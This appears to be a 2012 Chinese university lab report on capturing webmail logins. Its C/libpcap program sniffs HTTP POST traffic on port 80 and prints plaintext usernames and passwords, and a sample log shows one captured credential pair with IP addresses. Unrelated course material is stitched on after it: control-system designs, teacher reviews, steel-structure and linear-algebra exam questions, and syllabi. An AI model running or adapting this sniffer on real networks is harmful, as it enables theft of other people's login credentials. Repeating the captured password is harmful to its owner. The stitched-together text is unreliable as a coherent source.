H a r b i n I n s t i t u t e o f T e c h n o l o g y a t W e i h a i
WebMail 解析
作者：
院系：计算机科学与技术
班级：
学号：
指导老师：需要源程序的留下联系方式
哈尔滨工业大学（威海）
二零一二年六月
目录
1.前言 (3)
2.涉及的协议简介： (3)
2.1HTTP协议简介： (3)
2.2 TCP/IP协议简介： (4)
3.程序设计思想： (4)
4.程序函数设计： (5)
5. webmail监控源程序 (5)
6. 相应截图及说明 (9)
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1.前言
随着网络的发展和普及，浏览网页、QQ聊天、电子留言、电子邮件己经深入人们的生活。在众多的现代通信方式中，电子邮件(E- mail)己经成为了其中的重要组成部分。当电子邮件给人们带来极大便利的同时，也带来了一系列的不安全因素：有害信息的广泛传播、国家和企业机密的泄露等。为了控制和减少这些不安全因素的发生，需要建立一系列的安全机制。对传输内容的监控是较为重要的一种，在监控的过程中，对传输内容的还原又是最重要的一步。此次实验目的是捕获webmail的登录账号与密码等信息。
2.涉及的协议简介：
2.1HTTP协议简介：
超文本传送协议 (HTTP) 是一种通信协议，它允许将超文本标记语言(HTML) 文档从 Web 服务器传送到 Web 浏览器。HTML 是一种用于创建文档的标记语言，这些文档包含到相关信息的链接。您可以单击一个链接来访问其它文档、图像或多媒体对象，并获得关于链接项的附加信息。
HTTP工作在TCP/IP协议体系中的TCP协议上。
客户机和服务器必须都支持 HTTP，才能在万维网上发送和接收HTML 文档并进行交互。
HTTP是一个属于应用层的面向对象的协议，由于其简捷、快速的方式，适用于分布式超媒体信息系统。它于1990年提出，经过几年的使用与发展，得到不断地完善和扩展。前一段时间用的是 HTTP/1.0，现在WWW中使用的是HTTP/1.1。而且HTTP-NG(Next Generation of HTTP)的建议已经提出。
HTTP主要特征：
1.支持客户/服务器模式。
2.简单快速：客户向服务器请求服务时，只需传送请求方法和路径。请求方法常用的有GET、HEAD、POST。每种方法规定了客户与服务器
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联系的类型不同。由于HTTP协议简单，使得HTTP服务器的程序规模小，因而通信速度很快。
3.灵活：HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加以标记。
4.无连接：无连接的含义是限制每次连接只处理一个请求。服务器处理完客户的请求，并收到客户的应答后，即断开连接。采用这种方式可以节省传输时间。
5.无状态：HTTP协议是无状态协议。无状态是指协议对于事务处理没有记忆能力。缺少状态意味着如果后续处理需要前面的信息，则它必须重传，这样可能导致每次连接传送的数据量增大。另一方面，在服务器不需要先前信息时它的应答就较快。
2.2 TCP/IP协议简介：
Transmission Control Protocol/Internet Protocol的简写，中译名为传输控制协议/因特网互联协议，又名网络通讯协议，Internet 最基本的协议、Internet国际互联网络的基础，由网络层的IP协议和传输层的TCP协议组成。TCP/IP 定义了电子设备如何连入因特网，以及数据如何在它们之间传输的标准。协议采用了4层的层级结构，一层都呼叫它的下一层所提供的网络来完成自己的需求。通俗而言：TCP 负责发现传输的问题，一有问题就发出信号，要求重新传输，直到所有数据安全正确地传输到目的地。而IP是给因特网的每一台电脑规定一个地址。
3.程序设计思想：
1.解析http，还原出tcp报文。
2.解析tcp，还原出ip报文。
3.解析ip报文。
4.查找post报文，找到username和password，把其中的参数打印出
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来。
5.分析目的地址，源地址以及端口。
6.设置循环，进行捕包。
4.程序函数设计：
1.http协议数据包解析函数：void http_callback。
2.tcp协议数据包解析函数：void tcp_protocol_packet_callback。
3.ip协议数据包解析函数：void ip_protocol_packet_callback。
4.以太网数据包解析：void ethernet_protocol_packet_callback。
5. webmail监控源程序
#include "packet.h"
#include
void http_callback(u_char *arg,const struct pcap_pkthdr* pcaket_header,const u_char* packet_content,u_int len)
{
const u_char* p = packet_content + 14 + 20 + len ;
char buf[1025];
char buf1[1025];
int i = 0;
u_char* ps = strstr(p,"POST");
if(ps != NULL )
{
while(*ps++ && i < 12)
{
if(*ps == '\n')
i++;
printf("%c",*ps);
}
}
//找到username出现的位置
ps = strstr(p,"username=");
if(ps != NULL){
//printf("%s",ps);
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sscanf(ps,"username=%[^&]&password=%[^&]&",buf,buf1);
printf("username:%s\npassword:%s\n",buf,buf1);
}
printf("-----------------------------------------------------\n");
}
void tcp_protocol_packet_callback(u_char *argument,const struct pcap_pkthdr* packet_header,const u_char* packet_content)
{
struct tcp_header *tcp_protocol;
u_int head_length;
u_short source_port;
u_short destination_port;
tcp_protocol = (struct tcp_header *)(packet_content+14+20);
source_port = ntohs(tcp_protocol->tcp_source_port);
destination_port = ntohs(tcp_protocol->tcp_destination_port);
head_length = tcp_protocol->tcp_offset*4;
printf("source port:%d\n",source_port);
printf("destination port:%d\n",destination_port);
switch(destination_port)
{
case 80:
http_callback(argument,packet_header,packet_content,head_length);
break;
default:
break;
}
}
void ip_protocol_packet_callback(u_char * argument,const struct pcap_pkthdr * packet_header,
const u_char * packet_content)
{
struct ip_header * ip_protocol;
ip_protocol = (struct ip_header*)(packet_content+14);
printf("source address :%s\n",inet_ntoa(ip_protocol->ip_source_address));
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printf("destination address :%s\n",inet_ntoa(ip_protocol-
>ip_destination_address));
//如果是TCP协议
switch(ip_protocol->ip_protocol)
{
case 6:
tcp_protocol_packet_callback(argument,packet_header,packet_content);
break;
default:
break;
}
}
void ethernet_protocol_packet_callback(u_char *argument,const struct pcap_pkthdr * packet_header,
const u_char * packet_content)
{
u_short ethernet_type;
struct ether_header *ethernet_protocol;
ethernet_protocol = (struct ether_header *)packet_content;
ethernet_type = ntohs(ethernet_protocol->ether_type);
//如果是IP数据包，则作进一步处理
switch(ethernet_type)
{
case 0x0800:
printf("-----------------------------------------------------\n");
ip_protocol_packet_callback(argument,packet_header,packet_content);
break;
default:
break;
}
}
int main()
{
pcap_t *pcap_handle;
char error_content[PCAP_ERRBUF_SIZE];
char *net_interface;
struct bpf_program bpf_filter;
// 设置过滤字符串
char bpf_filter_string[] = "tcp port 80";
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bpf_u_int32 net_mask;
bpf_u_int32 net_ip;
//获取可用的网络设备
net_interface = pcap_lookupdev(error_content);
pcap_lookupnet(net_interface,&net_ip,&net_mask,error_content);
//打开设备
pcap_handle = pcap_open_live(net_interface,20480,1,0,error_content);
//编译过滤规则
pcap_compile(pcap_handle,&bpf_filter,bpf_filter_string,0,net_ip);
pcap_setfilter(pcap_handle,&bpf_filter);
//是否为以太网
if(pcap_datalink(pcap_handle) != DLT_EN10MB)
return;
//循环捕包
pcap_loop(pcap_handle,-1,ethernet_protocol_packet_callback,NULL);
pcap_close(pcap_handle);
}
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6. 相应截图及说明
1. 编译产生可执行文件watchwebmail 。
2．运行watchwenbmail 抓捕数据并把结果放入1.log 日志文件中。
2. 从1log 中找到有用信息，例如目的地址，源地址，账号密码信息。
Ps：如图可知source address（源地址）：172.31.159.56
Destination address（目的地址）：61.125.250.99
Source port（源端口）：43732
Destination port（目的端口）：80
Username：huangchongyuan89
Password：hcy090420226
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哈工大自控课设
Harbin Institute of Technology 自动控制原理 课程设计 课程名称：自动控制原理 设计题目：红外干扰分离系统 院系：航天学院 班级： 设计者： 学号： 指导教师：金晶林玉荣 设计时间：
自动控制原理课程设计任务书 姓 名： 院 （系）：航天学院 专 业：自动化 班 号： 任务起至日期： 年3月2日 ——年3月16日 课程设计题目：红外干扰分离系统 1. 已知控制系统的固有传递函数（或框图）如下：（红外干扰分离系统） )127.0(22 )(+= S S S G M =)(1S H 1)(=S H 系统存在一个正弦干扰力矩 t A S F ωsin )(=: A=0~5，f=0~8 2．性能指标 （1）开环放大倍数K ≥ （2）剪切频率 ≤≤c ω （3）相位裕度≥γ （4）谐振峰值M γ= （5）超调量p σ≤25% （6）过渡过程时间ms t s 25≤ （7）角速度s rad /2.0max =? θ （8）角加速度2max /8.0s rad =? ?θ （9）稳态误差mrad e ss 15.0≤ 3.设计要求与步骤 （1）设计系统，满足性能指标。 （2）人工设计 利用半对数坐标纸手工绘制系统校正前后及校正装置的Bode 图，并确定出校正装置的传递函数。验算校正后系统是否满足性能指标要求。
目录 1. 人工设计 (5) 1.1固有环节的分析 ...................................................... 错误!未定义书签。 1.2性能指标的计算 ...................................................... 错误!未定义书签。 2.校正环节的设计................................................................. 错误!未定义书签。 2.1校正环节的分析 ...................................................... 错误!未定义书签。 2.2串联迟后环节的设计 .............................................. 错误!未定义书签。 2.3串联超前环节的设计 .............................................. 错误!未定义书签。 3.计算机辅助设计................................................................. 错误!未定义书签。 3.1固有环节的仿真 ...................................................... 错误!未定义书签。 3.2串联迟后校正的仿真 .............................................. 错误!未定义书签。 3.3串联超前环节的仿真 .............................................. 错误!未定义书签。 3.4系统的单位阶跃响应仿真 ...................................... 错误!未定义书签。 3.5系统的斜坡信号响应仿真 ...................................... 错误!未定义书签。 4校正环节的电路实现 ......................................................... 错误!未定义书签。 4.1校正环节的传递函数 .............................................. 错误!未定义书签。 4.2确定各环节电路参数 .............................................. 错误!未定义书签。 4.3绘制电路图 .............................................................. 错误!未定义书签。 5设计总结 ............................................................................. 错误!未定义书签。 6心得体会 ............................................................................. 错误!未定义书签。 1. 人工设计 1.1题目分析 由于系统存在正弦干扰力矩，且不可测，是一个不稳定的量，我们不妨将此力矩设定为干扰最大时的正弦信号，即此时干扰为t S F π16sin 5)(=。 同时超调量和过渡过程时间要满足：ms t s p 25%,25≤≤σ。依据经验公式：
中南大学选课各老师档案大全 【英语】 朱妮娅：人还比较好，上课比较随意。。。期末背课文，视听说一个表演+平时四周8篇日记（你们懂的） 潘紫霓：全新版很幽默听力课后一节看电影 段慧茹：新视野有时候可能点名要求不严上课不错小组PPT展示据说上高级人才班和非高级人才班可能学生有关感觉有差 谢筱莉：新视野老师很优雅很有气质口音很好要求个人PPT 上课回答问题加分从不点名 肖麟!!!顶好！ 康朝霞：上课会点名，偶尔也会布置作业，课堂上还会提问。讲课内容不局限课本，会交给中外文化差异，也会分享人生经验和心得。会安排情景表演很有意思，考试方式采用分组让大家交到更多朋友。 张爱兰：不点名，口语也是自己选一个，就是分不太高.. 刘光辉：分高口语读课文. 【高数】 刘旺梅，唐美兰、李军英，裘亚峥，陈亚力都是负责，很火的老师。基本上是你去晚了就没座位坐了。 其中，刘旺梅，会定期收作业，期末的平时分除了看作业，还会看你的考试成绩。唐美兰讲得比较细，陈亚力在期末给的平时分会比较高。唐美兰上课太死板。上课就教同学怎么套公式 李军英：人看起来比较好，个人不感冒，不点名，平时分挺好 讲课很好……认真负责！！！当然数学老师没几个会点名的，上课时间都不够，还点名？？？她会布置作业，但是学生作业都不做就不是学生了。 平时上课她总说严格要求，但是到最后考试的时候你考不好，她都会网开一面……很好的老师，在大一听她课很受用，学到东西了……使我成绩也不错 张炜：讲课小声了点，我的课都是晚上第一节，一不小心就困了。。平时分98-100......点一两次名其实爱去不去了（不是鼓励逃课） 李飞宇：没怎么去上过课，去的时候已经上完了，听不懂他说什么 = 秦宣云：秦哥讲课方式很对我口味。。 张力：比较松的，讲课不用PPT，也很认真的老师，课也上的不错（不过我一直没听），就是讲课普通话有点点口音，不过都能听懂的……当然也不点名，
模拟试题一： 一、填空题（每空 1 分，共计 32） 1．钢结构防火常采用 的方法有 _________________ 答：涂防火漆、混凝土包裹 2．建筑钢材的主要性能指标有伸长率、屈服强度、抗拉强度、冷弯性能、 冲击韧性、Z 向收缩率，其中伸长率是衡量钢材 _______________________ 能力的指标； __________ 是衡量钢材抗层状撕裂能力的指标。 [ 点击查看答案 ] 答：塑性变形、 Z 向收缩率 3.高强度低合金钢的焊接性能可以通过 ______________________ 值来衡量。 [ 点击查看答案 ] 答：碳当量（ CE ） 4．钢材受三向同号拉应力 作用时， 即使三向应力绝对值很大， 甚至大大 超 过屈服点， 但两两应力 差值不大时， 材料不易进入 _____________________ 状态， 此时 发 生的破坏为 ____________ 破坏。 [ 点击查看答案 ] 答：塑性、脆性 5.在温度250 C 左右时，钢材的性能与在常温时相比较，强度更 _______________________ 、 塑性更 _________ 。 [ 点击查看答案 ] 答：高（好） 、差（坏） 6．Q235A 级 钢不 能用于主要焊接结 构， 原因 在于不 能保 证 _________________ o [ 点击查看答案 ]
[ 点击查看答案] 答：含碳量 7 、采用手工电弧焊，材料为Q345 的钢构件相焊接时，应选择型 焊条；材料为Q235 和Q345 的构件相焊接时，应选择____________________ 型焊条。 [ 点击查看答案] 答：E50、E43 8、板厚为t 宽度为b 的板采用对接焊缝连接，施焊时未设引弧板，则计算长度取为 _______________________ 。 [ 点击查看答案] 答：b-2t 9 、两钢板厚度分别为10mm 和16mm，采用双面T 型连接，手工焊，其最小焊脚尺寸可取__________ m m 。 [ 点击查看答案] 答：6 10 、承压型高强螺栓依靠_____________ 和____________ 共同传力，以 ___________ 为承载力的极限状态。 [ 点击查看答案] 答：摩擦阻力、栓杆、栓杆被剪断或板件被挤压破坏 11、普通螺栓连接受剪时的四种破坏形式为螺栓受剪破坏、___________________ 破坏、板件被冲剪破坏、板件被拉断破坏，其中板件被冲剪破坏是由于不满足构造要求而引起的。 [ 点击查看答案] 答：板件被挤压、端距（端距<2d0）
LINEAR ALGEBRA AND ITS APPLICATIONS 姓名：易 学号： 成绩：
1. Definitions (1) Pivot position in a matrix; (2) Echelon Form; (3) Elementary operations; (4) Onto mapping and one-to-one mapping; (5) Linearly independence. 2. Describe the row reduction algorithm which produces a matrix in reduced echelon form. 3. Find the 33? matrix that corresponds to the composite transformation of a scaling by 0.3, a rotation of 90?, and finally a translation that adds (-0.5, 2) to each point of a figure. 4. Find a basis for the null space of the matrix 361171 22312 4 5 8 4A ---?? ??=--????--?? 5. Find a basis for Col A of the matrix 1 332-9-2-22-82230 7 13 4 -111 -8A ????? ?=?????? 6. Let a and b be positive numbers. Find the area of the region bounded by the ellipse whose equation is 222 2 1x y a b + = 7. Provide twenty statements for the invertible matrix theorem. 8. Show and prove the Gram-Schmidt process. 9. Show and prove the diagonalization theorem. 10. Prove that the eigenvectors corresponding to distinct eigenvalues are linearly independent.
自动控制原理本科教学要求 自动控制专业的自动控制原理课程包括自动控制原理Ⅰ和现代控制理论两部分，分两个学期讲授。 《自动控制原理I》教学大纲 课程编号：T1043010 课程中文名称：自动控制原理 课程英文名称： Automatic Control Theory 总学时： 100 讲课学时：88 实验学时：16 习题课学时：0 上机学时： 学分：6.0 授课对象：自动控制专业本科生 先修课程：电路原理、电子技术和电机方面的有关课程；复变函数和线性代数 教材：《自动控制原理》（第三版）李友善主编，国防工业出版社，2005年 参考书：《自动控制原理》（第四版）胡寿松主编，科学出版社，2001年 《Linear Control System Analysis and Design》（第四版）清华大学出版社，2000年 一、课程教学目的： 自动控制原理是控制类专业最重要的一门技术基础课。这门课主要讲解自动控制的基本理论、自动控制系统的分析方法与设计方法。 本课程的主要任务是培养学生掌握自动控制系统的构成、工作原理和各件的作用;掌握建立控制系统数学模型的方法。掌握分析与综合线性控制系统的三种方法：时域法、根轨迹法和频率法。掌握计算机控制系统的工作原理以及分析和综合的方法。了解非线性控制系统的分析和综合方法。建立起以系统的概念、数学模型的概念、动态过程的概念。 通过课程的学习使学生掌握分析、测试和设计自动控制系统的基本方法。结合各种实践环节，进行自动控制领域工程技术人员所需的基本工程实践能力的训练。从理论和实践两方面为学生进一步学习自动控制专业的其他专业课如:过程控制、数字控制、飞行器控制、智能控制、导航与制导、控制系统设计等打下必要的专业技术基础。自动控制原理课程是自动控制专业学生培养计划中承上启下的一个关键环节，因此该课程在自动控制专业的教学计划中占有重要的位置。 二、教学内容及基本要求 第一章控制系统的一般概念（2学时） 本课程的目的及讲授内容，自动控制的基本概念和自动控制系统，开环控制与闭环控制，控制系统的组成，控制系统的基本要求。 第二章控制系统的数学模型（12学时） 控制系统微分方程的建立，传递函数的基本概念和定义，传递函数的性质，基本环节及传递函数，控制系统方框图及其绘制，方框图的变换规则，典型系统的方框图与传递函数，方框图的化简，用梅森增益公式化简信号流图。 第三章线性系统的时域分析（14学时） 典型输入信号，一阶系统的瞬态响应，线性定常系统的重要性质，二阶系统的标准型及其特点，二阶系统的单位阶跃响应，二阶系统的性能指标，二阶系统的脉冲响应，二阶系统的单位速度响应，初始条件不为零时二阶系统的过渡过程。 闭环主导极点的概念，高阶系统性能指标的近似计算。稳定的基本概念和定义，线性系统的稳定条件，劳斯稳定判据。控制系统的稳态误差，稳态误差的计算：泰勒级数法和长除法，控制系统的无静差度，用终值定理计算稳态误差，减小稳态误差的方法 第四章根轨迹法（12学时） 控制系统的根轨迹，绘制根轨迹的基本规则，控制系统的根轨迹分析，参数根轨迹，闭环系统的零极点分布域性能指标 第五章线性系统的频域分析（14学时） 频率特性的概念，典型环节频率特性的极坐标图表示，典型环节频率特性的对数坐标图表示，开环系统的对数频率特性，最小相位系统。v=0、1、2时开环系统的极坐标图，Nyquist稳定判据，用开环系统的Bode图判定闭环系统的稳定性，控制系统的相对稳定性。控制系统的性能指标，二阶系统性能指标间的关系，高阶系统性能指标间的关系，开环对数频率特性和性能指标的关系。 第六章控制系统的综合与校正（14学时） 控制系统校正的基本方法，基本控制规律。相位超前校正网络，用频率特法确定相位超前校正参数，按根轨迹法确定相位超前校正参数。相位滞后网络，用频率特性法确定相位滞后校正参数，按根轨迹法确定相位滞后校正参数。相位滞后-超前校正网络，控制系统的期望频率特性，控制系统的固有频率特性，根据期望频率特性确定串联校正参数。
自动控制原理 大作业 （设计任务书） 姓名： 院系： 班级： 学号： 5. 参考图5 所示的系统。试设计一个滞后-超前校正装置，使得稳态速度误差常数为20 秒-1，相位裕度为60
度，幅值裕度不小于8 分贝。利用MATLAB 画出 已校正系统的单位阶跃和单位斜坡响应曲线。 + 一．人工设计过程 1.计算数据确定校正装置传递函数 为满足设计要求，这里将超前滞后装置的形式选为 ) 1)(() 1)(1()(2 12 1T s T s T s T s K s G c c ββ++++= 于是，校正后系统的开环传递函数为)()(s G s G c 。这样就有 )5)(1()(lim )()(lim 00++==→→s s s K s sG s G s sG K c c s c s v 205 ==c K 所以 100=c K 这里我们令100=K ，1=c K ，则为校正系统开环传函) 5)(1(100 )(++= s s s s G
首先绘制未校正系统的Bode 图 由图1可知，增益已调整但尚校正的系统的相角裕度为? 23.6504-，这表明系统是不稳定的。超前滞后校正装置设计的下一步是选择一个新的增益穿越频率。由)(ωj G 的相角曲线可知，相角穿越频率为2rad/s ，将新的增益穿越频率仍选为2rad/s ，但要求2=ωrad/s 处的超前相角为? 60。单个超前滞后装置能够轻易提供这一超前角。 一旦选定增益频率为2rad/s ，就可以确定超前滞后校正装置中的相角滞后部分的转角频率。将转角频率2/1T =ω选得低于新的增益穿越频率1个十倍频程，即选择2.0=ωrad/s 。要获得另一个转角频率)/(12T βω=，需要知道β的数值， 对于超前校正，最大的超前相角m φ由下式确定 1 1 sin +-= ββφm 因此选)79.64(20 ==m φβ，那么，对应校正装置相角滞后部分的极点的转角频率为 )/(12T βω=就是01.0=ω，于是，超前滞后校正装置的相角滞后部分的传函为 1 1001 520 01.02.0++=++s s s s 相角超前部分：由图1知dB j G 10|)4.2(|=。因此，如果超前滞后校正装置在2=ωrad/s 处提供-10dB 的增益，新的增益穿越频率就是所期望的增益穿越频率。从这一要求出发，可 以画一条斜率为-20dB 且穿过（2rad/s ，-10dB ）的直线。这条直线与0dB 和-26dB 线的交点就确定了转角频率。因此，超前部分的转角频率被确定为s rad s rad /10/5.021==ωω和。 因此，超前校正装置的超前部分传函为 )1 1.01 2(201105.0++=++s s s s 综合校正装置的超前与之后部分的传函，可以得到校正装置的传递函数)(S G c 。 即) 1100)(11.0() 15)(12(01.02.0105.0)(++++=++++= s s s s s s s s s G c 校正后系统的开环传递函数为
中南大学选修课小贴士 新生到了第九周，自然要面对选修课的选择。根据历年的经验，选修课的高分率一直是大家密切关注的话题，下面的一些具体分析希望对大家有帮助。 经济管理类 1-01 现代管理基础 石英老师的课比较麻烦，交手写论文，老师还是挺不错的，她的课上能有挺大的收获。 1-02 传统文化与管理智慧 课比较水，老师讲诸子百家，最后考试百度一篇相关文章交上去就过了老师讲得很好而且从不点名只是画勾签到，不下课提前很早就放学。上过的同学说考试架势很足，分2个教室考，三个老师监考，不过考的内容文科生很好答，与传统文化相关，都是上课讲的东西，比如“中庸”是什么之类的，分数不定. 1-03 西方经济学概论 考试就是解释一些名词概念，挺简单的，带一本经济学的书或者偷着用手机就搞定了。但是上课要查人、写作业、签到。 内容相当丰富（12周），微观宏观都有，偶尔点名，就是钟美瑞老师口音过重，很难听懂，非本地人建议不选。成绩89 1-04 宏观经济学 据说考题十年没变过了。 1-05 微观经济学 老师上课有激情，考试交论文。
1-06 证券投资理论与实务 交论文，其他的不清楚了。 1-07 基础经济学 上课满满四节课，每次点名。考试的内容，我当时的老师在考试前一节课有提及。最后是一个很客观的分数。 1-08 技术经济学 每次课都要交作业，会点名，期末考试都是平时讲过的内容，考试时要检查学生卡，分两教室排座位。 不建议选，点名，交作业，最后考试，分数普遍不高 1-09 金融学 老师很认真,考试很严。 老师好认真，每次都点名。不过最后考试很水，都要带电脑过去的。题目都是上课ppt里有的 1-10 市场营销 至少要来上三节课：第一节课观察行情，倒数第二节课听取考试要求，最后一节课考试。老师讲的很好。有课堂作业，分给得高。 1-11 经贸谈判 【缺】 1-12 创业学 平时不点名，不用考试的，老师讲课不怎么样。 1-13 人力资源管理
2009年7月14日星期二 高层建筑钢结构 高层建筑钢结构 学时：36 学分：2.0 考核方法：笔试主讲教师：张文元 哈尔滨工业大学土木工程学院 College of Civil Engineering, HIT 2009年7月14日星期二 高层建筑钢结构 1、概论 2、结构用钢 3、结构体系和布置 4、荷载和作用效应 5、结构分析 6、构件设计 7、节点设计 8、非结构构件设计9、防灾 10、案例与实践 主要内容： 2009年7月14日星期二 高层建筑钢结构1、陈富生等，高层建筑钢结构设计，中国建筑工业出版 社，2004 2、刘大海等，高楼钢结构设计，中国建筑工业出版社， 2003 2、行业标准，高层民用建筑钢结构技术规程，JGJ99-98，中国建筑工业出版社，1998 3、Bungale S. Taranth, Steel, Conctete, &Composite Design of Tall Buildings, McGraw-Hill, 1998(已有中文译本)4、李国强，多高层建筑钢结构设计，中国建筑工业出版 社，2004 5、F. 哈特等，钢结构建筑资料集，中国建筑工业出版 社，2000 主要参考书： 2009年7月14日星期二 高层建筑钢结构 城市化进程加速、人口集中、低价飞 涨，节约用地成为关键； 缩短道路和管线设施长度，节约城市基础设施总投资； 改善城市面貌，体现经济实力和技术水平，成为地标性建筑。 1.1 高层建筑的发展背景 1 概论 2009年7月14日星期二 高层建筑钢结构 1）高层建筑的定义 联合国教科文组织世界高层委员会1972年将9层及9层 以上的建筑定义为高层建筑，并分成4类：第一类9～16层（最高50m 俗称小高层）第二类17～25层（最高75m 俗称中高层）第三类26～40层（最高100m 俗称高层） 第四类40层以上（高度100m 以上，称超高层）1.2 钢结构在高层建筑中的地位 高层建筑 我国《高层民用建筑设计防火规范》GB50045-95规定： ≥10层的居住建筑 ≥24m 且2层以上的民用建筑 2009年7月14日星期二 高层建筑钢结构 我国《钢筋混凝土高层建筑结构设计与施工规程》 JGJ3-91规定≥8层为高层。 主要考虑目前登高消防车的供水高度仅为24m
H a r b i n I n s t i t u t e o f T e c h n o l o g y 课程设计说明书（论文） 课程名称：自动控制原理课程设计 设计题目：控制系统的设计与仿真 院系：航天学院 班级： 设计者： 学号： 指导教师：王松艳、晁涛 设计时间：2016年3月 哈尔滨工业大学
目录 课程设计任务书............................................................................................. 错误！未定义书签。 1、题目要求与分析 (3) 1.1 题目要求 (3) 1.2 题目分析 (3) 2、人工设计 (4) 2.1 局部反馈校正和积分环节的设计及计算 (4) 2.1.1局部反馈校正 (4) 2.1.2积分环节的设计和计算 (5) 2.2 串联超前校正环节的计算 (6) 2.2.1第一次超前校正 (7) 2.2.2第二次超前校正 (8) 2.2.3第三次超前校正 (9) 3、计算机辅助设计 (10) 3.1 被控对象仿真 (10) 3.1.1被控对象开环Simulink模型图 (10) 3.1.2 被控对象开环Bode图 (11) 3.2 校正后的系统仿真 (11) 3.2.1校正后的开环Simulink模型图 (11) 3.2.2校正后的开环Bode图 (12) 3.3 对校正后闭环系统仿真 (12) 3.3.1 校正后的闭环Simulink模型图 (12) 3.3.2 单位阶跃响应仿真曲线 (13) 3.3.3 系统的进一步优化 (13) 4、校正装置电路图 (14) 4.1反馈校正环节实现电路 (14) 4.2积分环节和超前校正环节实现电路 (15) 5、设计总结 (16) 5.1 设计结论 (16) 5.2 设计方法 (17) 6、心得体会 (17)
一、填空题：(每空1分，共22分) 1、《建筑钢结构焊接技术规程》（JGJ－2002）推荐使用碳当量(或C E) 来衡量 低合金钢的焊接性能。 2、硫、磷、氮、氧和氢均为有害元素，其中磷和氮易引起 钢材的 低温冷脆。 3、影响结构疲劳寿命的最主要因素是构造状态、循环荷载和循环次 数。 4、钢材的机械性能指标为屈服强度、抗拉强度、伸长率、冷弯性 能、 Z向收缩率和冲击韧性。 5、主要焊接结构不能采用Q235 A 级钢，因含碳量不作交货条件，无法 保证含 碳量。 6、将一块Q235B级钢板与Q345B级钢板通过焊接进行连接时，宜选择 E43 型焊条。 7、?钢结构设计规范?（GB50017－2003）规定：质量属于三级的焊缝， 焊缝的 抗拉设计强度等于母材抗拉设计强度的0.85 倍。 8、单轴对称的T形截面轴心受压构件，绕对称轴失稳时易发生弯扭失 稳， 绕非对称轴时易发生弯曲失稳。 9、轴心受压构件失稳时可能绕两主轴屈曲，设计时应遵循等稳定原则，如进 行梯形钢屋架设计时屋架端斜杆应采用不等边角钢长肢相连的截面型式。 10、在轴心受压构件中，确定箱形截面板件满足局部稳定的宽（高）厚比限值 的
原则是构件应力达到屈服前其板件不发生局部屈曲（或局部屈曲临界应力不低于屈服应力，或不先于屈服），确定工字形截面确定板件宽（高）厚比限 值的原则是构件整体屈曲前其板件不发生局部屈曲（或局部屈曲临界应力不 低于整体屈曲临界应力或等稳定或不先于整体失稳）。 11、荷载作用点的位置对梁的整体稳定有影响，相对于荷载作用于工字形截面简 支梁受拉翼缘，当荷载作用于梁的受压翼缘时，其梁的整体稳定性将降低。 12、某梯形钢屋架，下弦支座处应设置刚性系杆，该系杆需要按受压杆 设计。 13、某工字形组合截面简支梁，若腹板的高厚比为100，应设置横向加 劲肋， 若腹板高厚比为210，应设置纵向加劲肋。 二、单项选择题(每题2分，共14分) 1、最易产生脆性破坏的应力状态是B 。 (A) 单向压应力状态 (B) 三向拉应力状态 (C) 单向拉应力状态 (D) 二向拉一向压的应力状态 2、采用摩擦型高强螺栓连接的两块 所受的力为 B 。 (A) N (B) 0.875N (C) 0.75N (D) 0.5N 3、如图所示，两块钢板焊接，根据手工焊构造要求，焊角高度h f应满足 A
MATLAB不考 第二章 1.传递函数定义（面试可能要问：重点是零初始条件） 2.简单传递函数建模 3.基本环节及其传递函数（P22）（重点惯性环节、振荡环节） 4.方框图及信号流图的化简 5.非线性特性的线性化当时我们也没考 习题： 1、2、3、4、5、6（a,b,c）、7（a,d,f）、8（b）、9（a）、10（d,e,f）、11(b)、12（a）、16、17、20（a） 第三章（重点） 1.典型输入信号的拉氏变换及Z变换 2.二阶系统的开环、闭环传递函数；闭环系统的特征值分布图 3.一阶、二阶系统的单位阶跃响应、单位脉冲响应曲线图 4.P83式3.4.2和3.4.3要背，图3.4.4重点 5.欠阻尼二阶系统常用性能指标的计算（公式要背，振荡次数计算不常用，了解就可以） 6.改善系统动态性能的简单方法（速度反馈、PD控制） 7.控制系统的稳定性、劳斯稳定判据 8.控制系统的稳态误差的计算（终值定理和动态误差系数都得掌握） 9.减小和消除稳态误差的方法（增大开环放大倍数、串联积分环节、顺馈控制） 习题： 1、2、3、6、7、9、10、12、14、15、16、19、22、23、29、30、34、36、38、39 第四章（重点） 1.根轨迹的概念、绘制规则10条规则（有公式的要记） 2.特殊根轨迹（与负反馈跟轨迹对比记忆），参数根轨迹 3.基于根轨迹法的校正（重点）（幅角条件重点）（过程及公式需要记）（附加开环零点（PD 控制）、串联超前校正、串联迟后校正、串联超前—迟后校正（一般不会考，太复杂）、反馈校正（移动不希望开环极点）） 习题： 1、2、3、5、6、7、8、9、11、14、15、16、17 第五章（重点）（我们当时给Bode图求传递函数是必考的） 1.典型环节的频率特性图（Nyquist图、Bode图、渐近Bode图）（Nichols图不考） 2.控制系统开环Nyquist图、开环渐近Bode图的粗略画法 3.非但未反馈系统的闭环频率特性不考（P226的5.3.5） 4.Nyquist判据（根据Nyquist图判定、根据Bode图判定） 5.稳定裕度——图示（由Nyquist图计算；由Bode图的计算）及具体计算（相角裕度、幅值裕度） 6.怎样根据系统的开环Bode图计算开环放大倍数及稳态误差 7.二阶系统开环频域指标与闭环动态性能指标的关系（教材中p.246的式（5.8.2）、p.246的式（5.8.1）） 8.高阶系统的经验公式（教材中p.249的式（5.8.7）、p.249的式（5.8.8）） 9.教材P251的5.9.4，P252的5.9.8，5.9.9，加个公式 1 sin M γγ =
学号： 课程设计 单级移动倒立摆建模及串联超前题目 校正 学院自动化学院 专业自动化专业 班级自动化0904班 姓名小白牙 指导教师 2012 年 1 月 4 日
课程设计任务书 学生姓名： 小白牙 专业班级： 自动化0904班 指导教师： 工作单位： 武汉理工大学 题 目: 单级移动倒立摆建模及串连超前校正 初始条件： 要求完成的主要任务: （包括课程设计工作量及其技术要求，以及说明书撰写 等具体要求） 1、 研究该装置的非线性数学模型，并提出合理的线性 化方法，建立该装置的线性数学模型－传递函数（以u 为输入， θ为输出） ； 2、 要求系统输出动态性能满足,1%,3.4%s t s ≤≤σ试设 计串连超前校正装置。 3、 用Matlab 对校正后的系统进行仿真分析，比较校正装置加在线性化前的模型上和线性化后的模型上的时域相应有何区别，并说明原因。 时间安排： 任务 时间（天） 审题、查阅相关资料 1.5 分析、计算 2.5 编写程序 2.5 撰写报告 1 图示为一个倒立摆装置，该装置包含一个小车和一个安装在小车上的倒立摆杆。由于小车在水平方向可适当移动，因此，控制小车的移动可使摆杆维持直立不倒。 2/10,1,1.0,1s m g m l kg m kg M ====
